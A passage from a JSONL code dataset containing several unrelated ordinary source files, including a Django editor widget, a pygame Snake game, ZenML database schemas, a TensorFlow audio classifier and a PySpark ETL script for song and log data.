'Name of root folder (folder)')\n parser.add_argument('-o', '--output_file', type = str, help = 'Name of output file (mean.tsv)')\n \n parsed_arguments = parser.parse_args()\n parsed_variables = vars(parsed_arguments)\n main(parsed_variables) \n","sub_path":"get_frame.py","file_name":"get_frame.py","file_ext":"py","file_size_in_byte":1624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"224703842","text":"#coding: utf-8\n\nfrom django import forms \nfrom django.conf import settings \nfrom django.utils.safestring import mark_safe \nfrom django.template.loader import render_to_string \nfrom django.template import RequestContext \nfrom django.utils.translation import ugettext_lazy as _ \n\nfrom django.contrib.admin.widgets import AdminTextareaWidget\n\nclass WangEditorWidget(forms.Textarea): \n\n class Media: \n css = {\n 'all': ('/wangeditor/static/css/wangEditor.css',), \n }\n\n def __init__(self, attrs = {}):\n #attrs['style'] = \"width:800px;height:400px;visibility:hidden;\"\n super(WangEditorWidget, self).__init__(attrs)\n\n def render(self, name, value, attrs=None):\n rendered = super(WangEditorWidget, self).render(name, value, attrs)\n\n # 传入模板的参数\n editor_id = \"id_%s\" % name.replace(\"-\", \"_\")\n uSettings = {\n \t\"name\": name,\n \t\"id\": editor_id,\n \t\"value\": value\n }\n context = {\n 'WEditor': uSettings,\n }\n return rendered + mark_safe(render_to_string('wangeditor.html', context))\n\nclass AdminWEditorWidget(AdminTextareaWidget,WangEditorWidget):\n def __init__(self, **kwargs):\n super(AdminWEditorWidget, self).__init__(**kwargs)","sub_path":"widgets.py","file_name":"widgets.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"529738865","text":"'''Faça um programa que peça dois números, base e expoente, calcule e mostre o primeiro número elevado ao segundo número.\nNão utilize a função de potência da linguagem.'''\n\nbase = float(input('Informe a base: '))\nexpoente = int(input('Informe o expoente: '))\nbase1 = base\nfor i in range(expoente - 1):\n resultado = base1 * base # A logica se resuma a esta linha!!!\n base1 = resultado\n\nprint(f'{base} elevado a {expoente} é igual a {resultado}')\n\n\n\n","sub_path":"EstruturaDeRepeticao13.py","file_name":"EstruturaDeRepeticao13.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"295046958","text":"import pygame\r\nimport random\r\n\r\ndef game_over_screen():\r\n game_is_over = True\r\n\r\n while game_is_over:\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n pygame.quit()\r\n quit()\r\n if event.type == pygame.KEYDOWN:\r\n if event.key == pygame.K_c:\r\n game_is_over = False\r\n game_loop()\r\n elif event.key == pygame.K_q:\r\n pygame.quit()\r\n quit()\r\n\r\n game_display.fill(white)\r\n message_to_screen(\"Game Over\", black, -100, size=\"large\")\r\n message_to_screen(\"Press C to Play Again or Q quit\", black, 25)\r\n pygame.display.update()\r\n clock.tick(5)\r\n\r\ndef pause():\r\n paused = True\r\n\r\n while paused:\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n pygame.quit()\r\n quit()\r\n if event.type == pygame.KEYDOWN:\r\n if event.key == pygame.K_c:\r\n paused = False\r\n elif event.key == pygame.K_q:\r\n pygame.quit()\r\n quit()\r\n\r\n game_display.fill(white)\r\n message_to_screen(\"Paused\", black, -100, size=\"large\")\r\n message_to_screen(\"Press C to Continue or Q quit\", black, 25)\r\n pygame.display.update()\r\n clock.tick(5)\r\n\r\ndef score(score_):\r\n text = small_font.render(\"Score: \" + str(score_), True, black)\r\n game_display.blit(text, [0, 0])\r\n if score_ == 600:\r\n game_over_screen()\r\n\r\ndef game_intro():\r\n intro = True\r\n\r\n while intro:\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT: # X's out of the window\r\n pygame.quit()\r\n quit()\r\n if event.type == pygame.KEYDOWN:\r\n if event.key == pygame.K_c:\r\n intro = False # ends the entire method, starting the game\r\n if event.key == pygame.K_q:\r\n pygame.quit()\r\n quit()\r\n\r\n game_display.fill(white)\r\n message_to_screen(\"Welcome to SNAKE\", green, y_displace=-100, size=\"large\")\r\n message_to_screen(\"The objective of the game is to eat red apples\", black, y_displace=-30)\r\n message_to_screen(\"The more apples you eat, the longer you get\", black, y_displace=10)\r\n message_to_screen(\"If you run into yourself, or the edges, you die\", black, y_displace=50)\r\n message_to_screen(\"Press C to play or Q to quit\", black, y_displace=180)\r\n message_to_screen(\"At any time you may press P to pause to game\", black, y_displace=225, size=\"small\")\r\n\r\n pygame.display.update()\r\n clock.tick(15)\r\n\r\n\r\ndef snake(size_of_block, snake_list):\r\n if direction == \"right\":\r\n head = pygame.transform.rotate(snake_image, 270)\r\n game_display.blit(head, [snake_list[-1][0], snake_list[-1][1]])\r\n if direction == \"left\":\r\n head = pygame.transform.rotate(snake_image, 90)\r\n game_display.blit(head, [snake_list[-1][0], snake_list[-1][1]])\r\n if direction == \"up\":\r\n head = snake_image\r\n game_display.blit(head, [snake_list[-1][0], snake_list[-1][1]])\r\n if direction == \"down\":\r\n head = pygame.transform.rotate(snake_image, 180)\r\n game_display.blit(head, [snake_list[-1][0], snake_list[-1][1]])\r\n\r\n for XnY in snake_list[:-1]:\r\n pygame.draw.rect(game_display, green, [XnY[0], XnY[1], size_of_block, size_of_block])\r\n\r\n\r\ndef text_objects(text, color, size):\r\n text_surface = \"test\" # just added to avoid errors\r\n if size == \"small\":\r\n text_surface = small_font.render(text, True, color)\r\n elif size == \"medium\":\r\n text_surface = medium_font.render(text, True, color)\r\n elif size == \"large\":\r\n text_surface = large_font.render(text, True, color)\r\n return text_surface, text_surface.get_rect()\r\n\r\n\r\ndef message_to_screen(msg, color, y_displace=0, size=\"small\"): # by default these parameters are set but you can adjust\r\n text_surface, text_rectangle = text_objects(msg, color, size)\r\n text_rectangle.center = (display_width / 2), (display_height / 2) + y_displace\r\n game_display.blit(text_surface, text_rectangle)\r\n\r\ndef rand_apple_gen(object_size):\r\n random_apple_x = round(random.randrange(0, display_width - object_size)) # / 10.0) * 10.0\r\n random_apple_y = round(random.randrange(0, display_height - object_size)) # / 10.0) * 10.0\r\n return random_apple_x, random_apple_y\r\n\r\ndef game_loop():\r\n global direction # we can now alter the direction variable inside game_loop\r\n direction = \"right\"\r\n snake_list = []\r\n snake_length = 1\r\n game_exit = False\r\n game_over = False\r\n\r\n head_of_snake_x = display_width / 2\r\n head_of_snake_y = display_height / 2\r\n apple_thickness = 30\r\n\r\n head_of_snake_x_change = 10 # snake is already moving on game start\r\n head_of_snake_y_change = 0\r\n # rounding gives the apple a position on a multiple of 10 so the snake lines up with it\r\n random_apple_x, random_apple_y = rand_apple_gen(apple_thickness)\r\n\r\n while not game_exit: # while game_exit is false\r\n while game_over:\r\n game_display.fill(white)\r\n message_to_screen(\"Game Over\", red, y_displace=-50, size=\"large\")\r\n message_to_screen(\"Press C to play again or Q to quit\", black, y_displace=50, size=\"medium\")\r\n pygame.display.update()\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n game_exit = True\r\n game_over = False\r\n if event.type == pygame.KEYDOWN:\r\n if event.key == pygame.K_q:\r\n game_exit = True\r\n game_over = False\r\n if event.key == pygame.K_c:\r\n game_loop()\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n game_exit = True\r\n if event.type == pygame.KEYDOWN:\r\n if event.key == pygame.K_LEFT:\r\n head_of_snake_x_change = -block_size\r\n head_of_snake_y_change = 0\r\n direction = \"left\"\r\n elif event.key == pygame.K_RIGHT:\r\n head_of_snake_x_change = block_size\r\n head_of_snake_y_change = 0\r\n direction = \"right\"\r\n elif event.key == pygame.K_DOWN:\r\n head_of_snake_y_change = block_size\r\n head_of_snake_x_change = 0\r\n direction = \"down\"\r\n elif event.key == pygame.K_UP:\r\n head_of_snake_y_change = -block_size\r\n head_of_snake_x_change = 0\r\n direction = \"up\"\r\n elif event.key == pygame.K_p:\r\n pause()\r\n\r\n if head_of_snake_x >= display_width or head_of_snake_x < 0 or head_of_snake_y >= display_height or head_of_snake_y < 0:\r\n game_over = True\r\n\r\n head_of_snake_x += head_of_snake_x_change\r\n head_of_snake_y += head_of_snake_y_change\r\n\r\n game_display.fill(white) # fills the window with the created white color\r\n\r\n game_display.blit(apple_image, (random_apple_x, random_apple_y))\r\n # pygame.draw.rect(game_display, red, [random_apple_x, random_apple_y, apple_thickness, apple_thickness])\r\n # draws a rectangle on the game_display.\r\n # Its top left corner is positioned at 400,300 and it is 10 x 10\r\n\r\n snake_head = [head_of_snake_x, head_of_snake_y]\r\n snake_list.append(snake_head)\r\n\r\n if len(snake_list) > snake_length:\r\n del (snake_list[0])\r\n\r\n for each_segment in snake_list[:-1]: # anything up to the last element, -1 == last element\r\n if each_segment == snake_head:\r\n game_over = True\r\n\r\n snake(block_size, snake_list)\r\n score(snake_length - 1)\r\n pygame.display.update() # updates the screen\r\n\r\n # if random_apple_x <= head_of_snake_x <= random_apple_x + apple_thickness:\r\n # if random_apple_y <= head_of_snake_y <= random_apple_y + apple_thickness:\r\n # random_apple_x = round(random.randrange(0, display_width - block_size)) # / 10.0) * 10.0\r\n # random_apple_y = round(random.randrange(0, display_height - block_size)) # / 10.0) * 10.0\r\n # snake_length += 1\r\n\r\n if random_apple_x < head_of_snake_x < random_apple_x + apple_thickness or random_apple_x < head_of_snake_x + block_size < random_apple_x + apple_thickness:\r\n if random_apple_y < head_of_snake_y < random_apple_y + apple_thickness:\r\n random_apple_x, random_apple_y = rand_apple_gen(apple_thickness)\r\n snake_length += 1\r\n elif random_apple_y < head_of_snake_y + block_size < random_apple_y + apple_thickness:\r\n random_apple_x, random_apple_y = rand_apple_gen(apple_thickness)\r\n snake_length += 1\r\n\r\n clock.tick(FPS)\r\n\r\n pygame.quit() # uninitialised the game\r\n quit() # closes the program\r\n\r\n\r\npygame.init() # initializes the entire file\r\n\r\ndisplay_width = 800\r\ndisplay_height = 600\r\n\r\n# initializes a color using its RGB values\r\nwhite = (255, 255, 255)\r\nblack = (0, 0, 0)\r\nred = (255, 0, 0)\r\ngreen = (0, 155, 0)\r\n\r\n# creates the surface/window for the game and makes its parameters 800 x 600\r\ngame_display = pygame.display.set_mode((display_width, display_height))\r\npygame.display.set_caption(\"SNAKE\") # set the title\r\n\r\nicon = pygame.image.load('Apple.png')\r\npygame.display.set_icon(icon)\r\n\r\nsnake_image = pygame.image.load('snake.png')\r\napple_image = pygame.image.load('Apple.png')\r\n\r\nFPS = 15\r\n\r\ndirection = \"right\"\r\n\r\nclock = pygame.time.Clock()\r\nblock_size = 20\r\nsmall_font = pygame.font.SysFont(\"comicsansms\", 25)\r\nmedium_font = pygame.font.SysFont(\"comicsansms\", 50)\r\nlarge_font = pygame.font.SysFont(\"comicsansms\", 75)\r\n\r\ngame_intro()\r\ngame_loop()\r\n","sub_path":"SNAKE/Snake.py","file_name":"Snake.py","file_ext":"py","file_size_in_byte":10111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"540231690","text":"# Guess a word\n# Import library\nimport random\n# Make list of word\nWord=['taire','con','machine','portable','coeur','hunter','table','cle','eau','feu','orange','maison','cheval']\nchoose=random.choice(Word)\n# The length of the secret word\nblanks='_ '*len(choose)\nprint(\"Mot secret: \"+str(blanks))\n#Guess the letter\nguess=input(\"Devinez un lettre du mot secret: \")\n# Make a loop infinity\nx=100000000000000000000\n# Make the time for count\ncounter=0\ndef whi(guess):\t\n\twhile len(guess)>1 or guess not in 'qwertyuiopasdfghjklzxcvbnm':\n\t\tif len(guess)>1:\n\t\t\tprint(\"Devinez seulement un lettre chaque fois.\")\n\t\tif guess not in 'qwertyuiopasdfghjklzxcvbnm':\n\t\t\tprint(\"Devinez seulement le lettre.\")\n\t\tguess=input(\"Devinez un lettre du mot secret: \")\n\treturn guess\nfor letter in range(x):\n\twhi(guess)\n\tif guess in choose:\n\t\tif counter==len(choose)-1:\n\t\t\tprint(\"Bravo! T'as gagne\")\n\t\t\tbreak\n\t\tcounter+=1\n\t\tletterIndex=choose.index(guess)\n\t\tnewBlanks=blanks[:letterIndex*2] + guess + blanks[letterIndex*2+1:]\t\n\t\tnewBlanks=blanks\n\t\tblanks=blanks[:letterIndex*2] + guess + blanks[letterIndex*2+1:]\n\t\tprint(\"Mot secret: \"+str(blanks))\n\telse:\n\t\tprint(\"C'est faux!\")\n\tguess=input(\"Redevinez un lettre du mot secret: \")\n","sub_path":"doanchufr.py","file_name":"doanchufr.py","file_ext":"py","file_size_in_byte":1201,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"147594485","text":"\n\nfrom xai.brain.wordbase.nouns._malediction import _MALEDICTION\n\n#calss header\nclass _MALEDICTIONS(_MALEDICTION, ):\n\tdef __init__(self,): \n\t\t_MALEDICTION.__init__(self)\n\t\tself.name = \"MALEDICTIONS\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"malediction\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_maledictions.py","file_name":"_maledictions.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"619332383","text":"\r\n\r\nimport serial\r\nimport sys\r\nimport time\r\n\r\n\r\nROWS = 2\r\nCOLS = 16\r\n\r\ndef matrixwritecommand(commandlist):\r\n commandlist.insert(0, 0xFE)\r\n for i in range(0, len(commandlist)):\r\n port.write(chr(commandlist[i]))\r\n\r\n\r\nport = serial.Serial(\"/dev/ttyACM0\", baudrate=9600, timeout=3.0)\r\nmatrixwritecommand([0x58])\r\nmatrixwritecommand([0x99, 0])#backlight off\r\nport.write(\"ehello world\")\r\ntime.sleep(5)\r\nmatrixwritecommand([0x58])\r\nport.write(\"most test\")\r\ntime.sleep(3)\r\nmatrixwritecommand([0x58])#clear display\r\nmatrixwritecommand([0x99, 255])#backlight on\r\ntime.sleep(1)\r\nmatrixwritecommand([0x99, 0])#backlight off\r\n","sub_path":"common/LCD/LCDtest.py","file_name":"LCDtest.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"600323757","text":"# Copyright (c) ZenML GmbH 2023. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at:\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express\n# or implied. See the License for the specific language governing\n# permissions and limitations under the License.\n\"\"\"SQL Model Implementations for code repositories.\"\"\"\n\nimport json\nfrom datetime import datetime\nfrom typing import Optional\nfrom uuid import UUID\n\nfrom sqlalchemy import TEXT, Column\nfrom sqlmodel import Field, Relationship\n\nfrom zenml.models.code_repository_models import (\n CodeReferenceRequestModel,\n CodeReferenceResponseModel,\n CodeRepositoryRequestModel,\n CodeRepositoryResponseModel,\n CodeRepositoryUpdateModel,\n)\nfrom zenml.zen_stores.schemas.base_schemas import BaseSchema, NamedSchema\nfrom zenml.zen_stores.schemas.schema_utils import build_foreign_key_field\nfrom zenml.zen_stores.schemas.user_schemas import UserSchema\nfrom zenml.zen_stores.schemas.workspace_schemas import WorkspaceSchema\n\n\nclass CodeRepositorySchema(NamedSchema, table=True):\n \"\"\"SQL Model for code repositories.\"\"\"\n\n __tablename__ = \"code_repository\"\n\n workspace_id: UUID = build_foreign_key_field(\n source=__tablename__,\n target=WorkspaceSchema.__tablename__,\n source_column=\"workspace_id\",\n target_column=\"id\",\n ondelete=\"CASCADE\",\n nullable=False,\n )\n workspace: \"WorkspaceSchema\" = Relationship(\n back_populates=\"code_repositories\"\n )\n\n user_id: Optional[UUID] = build_foreign_key_field(\n source=__tablename__,\n target=UserSchema.__tablename__,\n source_column=\"user_id\",\n target_column=\"id\",\n ondelete=\"SET NULL\",\n nullable=True,\n )\n\n user: Optional[\"UserSchema\"] = Relationship(\n back_populates=\"code_repositories\"\n )\n\n config: str = Field(sa_column=Column(TEXT, nullable=False))\n source: str = Field(sa_column=Column(TEXT, nullable=False))\n logo_url: Optional[str] = Field()\n description: Optional[str] = Field(sa_column=Column(TEXT, nullable=True))\n\n @classmethod\n def from_request(\n cls,\n request: \"CodeRepositoryRequestModel\",\n ) -> \"CodeRepositorySchema\":\n \"\"\"Convert a `CodeRepositoryRequestModel` to a `CodeRepositorySchema`.\n\n Args:\n request: The request model to convert.\n\n Returns:\n The converted schema.\n \"\"\"\n return cls(\n name=request.name,\n workspace_id=request.workspace,\n user_id=request.user,\n config=json.dumps(request.config),\n source=request.source.json(),\n description=request.description,\n logo_url=request.logo_url,\n )\n\n def to_model(\n self,\n ) -> \"CodeRepositoryResponseModel\":\n \"\"\"Convert a `CodeRepositorySchema` to a `CodeRepositoryResponseModel`.\n\n Returns:\n The created CodeRepositoryResponseModel.\n \"\"\"\n return CodeRepositoryResponseModel(\n id=self.id,\n name=self.name,\n workspace=self.workspace.to_model(),\n user=self.user.to_model(True) if self.user else None,\n created=self.created,\n updated=self.updated,\n config=json.loads(self.config),\n source=json.loads(self.source),\n description=self.description,\n logo_url=self.logo_url,\n )\n\n def update(\n self, update: \"CodeRepositoryUpdateModel\"\n ) -> \"CodeRepositorySchema\":\n \"\"\"Update a `CodeRepositorySchema` with a `CodeRepositoryUpdateModel`.\n\n Args:\n update: The update model.\n\n Returns:\n The updated `CodeRepositorySchema`.\n \"\"\"\n if update.name:\n self.name = update.name\n\n if update.description:\n self.description = update.description\n\n if update.logo_url:\n self.logo_url = update.logo_url\n\n self.updated = datetime.utcnow()\n return self\n\n\nclass CodeReferenceSchema(BaseSchema, table=True):\n \"\"\"SQL Model for code references.\"\"\"\n\n __tablename__ = \"code_reference\"\n\n workspace_id: UUID = build_foreign_key_field(\n source=__tablename__,\n target=WorkspaceSchema.__tablename__,\n source_column=\"workspace_id\",\n target_column=\"id\",\n ondelete=\"CASCADE\",\n nullable=False,\n )\n workspace: \"WorkspaceSchema\" = Relationship()\n\n code_repository_id: UUID = build_foreign_key_field(\n source=__tablename__,\n target=CodeRepositorySchema.__tablename__,\n source_column=\"code_repository_id\",\n target_column=\"id\",\n ondelete=\"CASCADE\",\n nullable=False,\n )\n code_repository: \"CodeRepositorySchema\" = Relationship()\n\n commit: str\n subdirectory: str\n\n @classmethod\n def from_request(\n cls, request: \"CodeReferenceRequestModel\", workspace_id: UUID\n ) -> \"CodeReferenceSchema\":\n \"\"\"Convert a `CodeReferenceRequestModel` to a `CodeReferenceSchema`.\n\n Args:\n request: The request model to convert.\n workspace_id: The workspace ID.\n\n Returns:\n The converted schema.\n \"\"\"\n return cls(\n workspace_id=workspace_id,\n commit=request.commit,\n subdirectory=request.subdirectory,\n code_repository_id=request.code_repository,\n )\n\n def to_model(\n self,\n ) -> \"CodeReferenceResponseModel\":\n \"\"\"Convert a `CodeReferenceSchema` to a `CodeReferenceResponseModel`.\n\n Returns:\n The converted model.\n \"\"\"\n return CodeReferenceResponseModel(\n id=self.id,\n created=self.created,\n updated=self.updated,\n commit=self.commit,\n subdirectory=self.subdirectory,\n code_repository=self.code_repository.to_model(),\n )\n","sub_path":"src/zenml/zen_stores/schemas/code_repository_schemas.py","file_name":"code_repository_schemas.py","file_ext":"py","file_size_in_byte":6235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"51960483","text":"import tensorflow as tf\n\nimport graph_utils\nfrom util import flatten\nimport runner\n\n\ndef model_fn(features, labels, mode, params):\n x = tf.reshape(features, [-1, 125, 128, 1], name='input_flatv3')\n x_flat = tf.reshape(features, [-1, 16000])\n x_norm = tf.layers.batch_normalization(x, training=mode == tf.estimator.ModeKeys.TRAIN, name='x_norm')\n if params['verbose_summary']:\n tf.summary.image('input', x)\n tf.summary.audio('input', x_flat, 16000)\n\n conv1 = tf.layers.conv2d(x_norm, filters=16, kernel_size=7, activation=tf.nn.relu, name='conv1')\n conv2 = tf.layers.conv2d(conv1, filters=32, kernel_size=5, activation=tf.nn.relu, name='conv2')\n conv3 = tf.layers.conv2d(conv2, filters=64, kernel_size=3, activation=tf.nn.relu, name='conv3')\n pool3 = tf.layers.max_pooling2d(conv3, pool_size=[2, 2], strides=2, name='pool3')\n if params['verbose_summary']:\n for i in range(1, 4):\n label = 'conv{}'.format(i)\n graph_utils.log_conv_kernel(label)\n tf.summary.image(label, tf.expand_dims(conv1[..., 0], -1))\n tf.summary.image('pool3', pool3[:, :, :, 0:1])\n\n conv4 = tf.layers.conv2d(pool3, filters=128, kernel_size=1, activation=tf.nn.relu, name='conv4')\n conv5 = tf.layers.conv2d(conv4, filters=128, kernel_size=3, activation=tf.nn.relu, name='conv5')\n conv6 = tf.layers.conv2d(conv5, filters=256, kernel_size=3, activation=tf.nn.relu, name='conv6')\n conv7 = tf.layers.conv2d(conv6, filters=512, kernel_size=3, activation=tf.nn.relu, name='conv7')\n pool7 = tf.layers.max_pooling2d(conv7, pool_size=[2, 2], strides=2, name='pool7')\n if params['verbose_summary']:\n for i in range(5, 8):\n label = 'conv{}'.format(i)\n graph_utils.log_conv_kernel(label)\n tf.summary.image(label, tf.expand_dims(conv1[..., 0], -1))\n tf.summary.image('pool7', pool7[:, :, :, 0:1])\n\n conv8 = tf.layers.conv2d(pool7, filters=512, kernel_size=1, activation=tf.nn.relu, name='conv8')\n conv9 = tf.layers.conv2d(conv8, filters=1024, kernel_size=3, activation=tf.nn.relu, name='conv9')\n conv10 = tf.layers.conv2d(conv9, filters=1024, kernel_size=3, activation=tf.nn.relu, name='conv10')\n conv11 = tf.layers.conv2d(conv10, filters=1024, kernel_size=3, activation=tf.nn.relu, name='conv11')\n pool11 = tf.layers.max_pooling2d(conv11, pool_size=[2, 2], strides=2, name='pool11')\n if params['verbose_summary']:\n for i in range(9, 12):\n label = 'conv{}'.format(i)\n graph_utils.log_conv_kernel(label)\n tf.summary.image(label, tf.expand_dims(conv1[..., 0], -1))\n tf.summary.image('pool11', pool11[:, :, :, 0:1])\n\n conv12 = tf.layers.conv2d(conv11, filters=512, kernel_size=1, activation=tf.nn.relu, name='conv12')\n\n flat = flatten(conv12)\n dense = tf.layers.dense(flat, units=1024, activation=tf.nn.relu, name='dense')\n dropout = tf.layers.dropout(dense, rate=params['dropout_rate'], training=mode == tf.estimator.ModeKeys.TRAIN, name='dropout')\n\n logits = tf.layers.dense(dropout, units=12, name='logits')\n\n predictions = {\n 'classes': tf.argmax(logits, axis=1, name='prediction_classes'),\n 'probabilities': tf.nn.softmax(logits, name='prediction_softmax')\n }\n\n if mode == tf.estimator.ModeKeys.PREDICT:\n return tf.estimator.EstimatorSpec(mode=mode, predictions={'predictions': predictions['probabilities']})\n\n onehot_labels = tf.one_hot(indices=tf.cast(labels, tf.int32), depth=12, name='onehot_labels')\n loss = tf.losses.softmax_cross_entropy(onehot_labels=onehot_labels, logits=logits)\n tf.summary.scalar('loss', loss)\n\n optimizer = tf.train.GradientDescentOptimizer(learning_rate=params['learning_rate'])\n update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\n with tf.control_dependencies(update_ops):\n train_op = optimizer.minimize(loss=loss, global_step=tf.train.get_global_step())\n eval_metric_ops = {\n 'accuracy': tf.metrics.accuracy(labels=labels, predictions=predictions['classes'])\n }\n\n tf.summary.scalar('accuracy', eval_metric_ops['accuracy'][1])\n\n return tf.estimator.EstimatorSpec(\n mode=mode,\n loss=loss,\n train_op=train_op,\n eval_metric_ops=eval_metric_ops\n )\n\n\nif __name__ == '__main__':\n runner.run(model_fn)\n","sub_path":"trainer/flatv3.py","file_name":"flatv3.py","file_ext":"py","file_size_in_byte":4125,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"594642628","text":"import configparser\nfrom datetime import datetime\nimport os\nfrom pyspark.sql import SparkSession\nfrom pyspark.sql.functions import udf, col, monotonically_increasing_id\nfrom pyspark.sql.functions import year, month, dayofmonth, hour, weekofyear, date_format, dayofweek\nfrom pyspark.sql.types import *\n\n#make sure to get rid of quotations in config gile.\nconfig = configparser.ConfigParser()\nconfig.read('dl.cfg')\n\nos.environ['AWS_ACCESS_KEY_ID'] = config.get('AWS', 'AWS_ACCESS_KEY_ID')\nos.environ['AWS_SECRET_ACCESS_KEY'] = config.get('AWS', 'AWS_SECRET_ACCESS_KEY')\n\n\ndef create_spark_session():\n \"\"\"\n This function creates a spark session.\n \n Returns:\n spark (SparkSession) - spark session connected to AWS EMR cluster\n \"\"\"\n \n spark = SparkSession \\\n .builder \\\n .config(\"spark.jars.packages\", \"org.apache.hadoop:hadoop-aws:2.7.0\") \\\n .getOrCreate()\n return spark\n\n\ndef process_song_data(spark, input_data, output_data):\n \"\"\"\n This function reads json file for song_data to extract, transform, and save as parquet files to a filepath that has been provided as an arugment.\n \n INPUTS:\n * spark - the spark session to run this function on\n * input_data - the filepath to the song_data which is resided in S3 bucket\n * output_data - the filepath to the transformed data which gets stored in another S3 bucket\n \"\"\"\n \n # get filepath to song data file\n song_data = os.path.join(input_data, 'song_data/A/A/A/*.json')\n \n # read song data file\n song_df = spark.read.json(song_data)\n\n # extract columns to create songs table\n songs_table = song_df.select(['song_id', 'title', 'artist_id', 'year', 'duration'])\n \n # write songs table to parquet files partitioned by year and artist\n# songs_table.write.mode(\"overwrite\").partitionBy(\"year\", \"artist_id\").parquet(output_data + \"songs\")\n\n # extract columns to create artists table\n artists_table = song_df.select(['artist_id', 'artist_name', 'artist_location', 'artist_latitude', 'artist_longitude'])\\\n .withColumnRenamed('userId', 'user_id') \\\n .withColumnRenamed('firstName', 'first_name') \\\n .withColumnRenamed('lastName', 'last_name') \\\n .dropDuplicates()\n \n # write artists table to parquet files\n# artists_table.write.mode(\"overwrite\").parquet(output_data + \"artists\")\n\n\ndef process_log_data(spark, input_data, output_data):\n \"\"\"\n This function reads json file for log_data to extract, transform, and save as parquet files to a filepath that has been provided as an arugment.\n For the purpose of joining tables across the files(song_data and log_data) it reads the original songs_data from S3 as well. \n \n INPUTS:\n * spark - the spark session to run this function on\n * input_data - the filepath to the log_data which is resided in S3 bucket\n * output_data - the filepath to the transformed data which gets stored in another S3 bucket\n \"\"\"\n # get filepath to log data file\n log_data = os.path.join(input_data, 'log_data/2018/11/2018-11-12-events.json')\n\n # read log data file\n log_df = spark.read.json(log_data)\n \n # filter by actions for song plays\n log_df = log_df.filter(log_df.page == \"NextSong\")\n\n # extract columns for users table \n users_table = log_df.select(['userId', 'firstName', 'lastName', 'gender', 'level'])\n \n # write users table to parquet files\n# users_table.write.mode(\"overwrite\").parquet(output_data + \"users\")\n\n # create timestamp column from original timestamp column\n get_timestamp = udf(lambda x: x / 1000, TimestampType())\n log_df = log_df.withColumn(\"timestamp\", get_timestamp(log_df.ts))\n \n # create datetime column from original timestamp column\n get_datetime = udf(lambda x: datetime.fromtimestamp(x), TimestampType())\n log_df = log_df.withColumn(\"start_time\", get_datetime(log_df.timestamp))\n \n # extract columns to create time table\n time_table = log_df.withColumn(\"hour\", hour(\"start_time\")) \\\n .withColumn(\"day\", dayofmonth(\"start_time\")) \\\n .withColumn(\"week\", weekofyear(\"start_time\")) \\\n .withColumn(\"month\", month(\"start_time\")) \\\n .withColumn(\"year\", year(\"start_time\")) \\\n .withColumn(\"weekday\", dayofweek(\"start_time\"))\\\n .select(\"ts\",\"start_time\",\"hour\", \"day\", \"week\", \"month\", \"year\", \"weekday\").drop_duplicates()\n \n # write time table to parquet files partitioned by year and month\n# time_table.write.mode(\"overwrite\").partitionBy(\"year\", \"month\").parquet(output_data + \"time\")\n\n # read in song data to use for songplays table\n song_df = os.path.join(output_data, 'songs/')\n song_data = spark.read.parquet(song_df)\n\n # extract columns from joined song and log datasets to create songplays table \n joined_table = log_df.join(song_data, log_df.song == song_data.title, how='inner')\n \n songplays_table = joined_table.select(\"start_time\",col(\"userId\").alias(\"user_id\"),\"level\",\"song_id\",\"artist_id\",col(\"sessionId\").alias(\"session_id\"),\"location\",col(\"userAgent\").alias(\"user_agent\"))\\\n .withColumn(\"songplay_id\", monotonically_increasing_id())\n \n songplays_table = songplays_table.join(time_table, songplays_table.start_time == time_table.start_time, how=\"inner\")\\\n .select(\"songplay_id\", songplays_table.start_time,\"user_id\", \"level\", \"song_id\", \"artist_id\", \"session_id\", \"location\", \"user_agent\", \"year\", \"month\")\n\n # write songplays table to parquet files partitioned by year and month\n songplays_table.write.mode(\"overwrite\").partitionBy(\"year\", \"month\").parquet(output_data + \"songplays\")\n\n\ndef main():\n \"\"\"\n This function defines spark, input_data, and output_data and execute the pre-defined functions for ETL pipelines.\n \"\"\"\n spark = create_spark_session()\n input_data = \"s3a://udacity-dend/\"\n output_data = \"s3a://sparkify01/parquet/\"\n \n process_song_data(spark, input_data, output_data) \n process_log_data(spark, input_data, output_data)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"Project 4 Build a Data Lake/.ipynb_checkpoints/etl-test-checkpoint.py","file_name":"etl-test-checkpoint.py","file_ext":"py","file_size_in_byte":6152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"37310367","text":"#!/usr/bin/env python\n\nfrom RingerCore import LoggingLevel, Logger\nmainLogger = Logger.getModuleLogger(\"FileJuicer\")\n\nimport argparse\nparser = argparse.ArgumentParser(description = '', add_help = False)\nparser = argparse.ArgumentParser()\n\nparser.add_argument('-i','--inputFile', action='store', \n dest='inputFile', required = True, help = \"File to 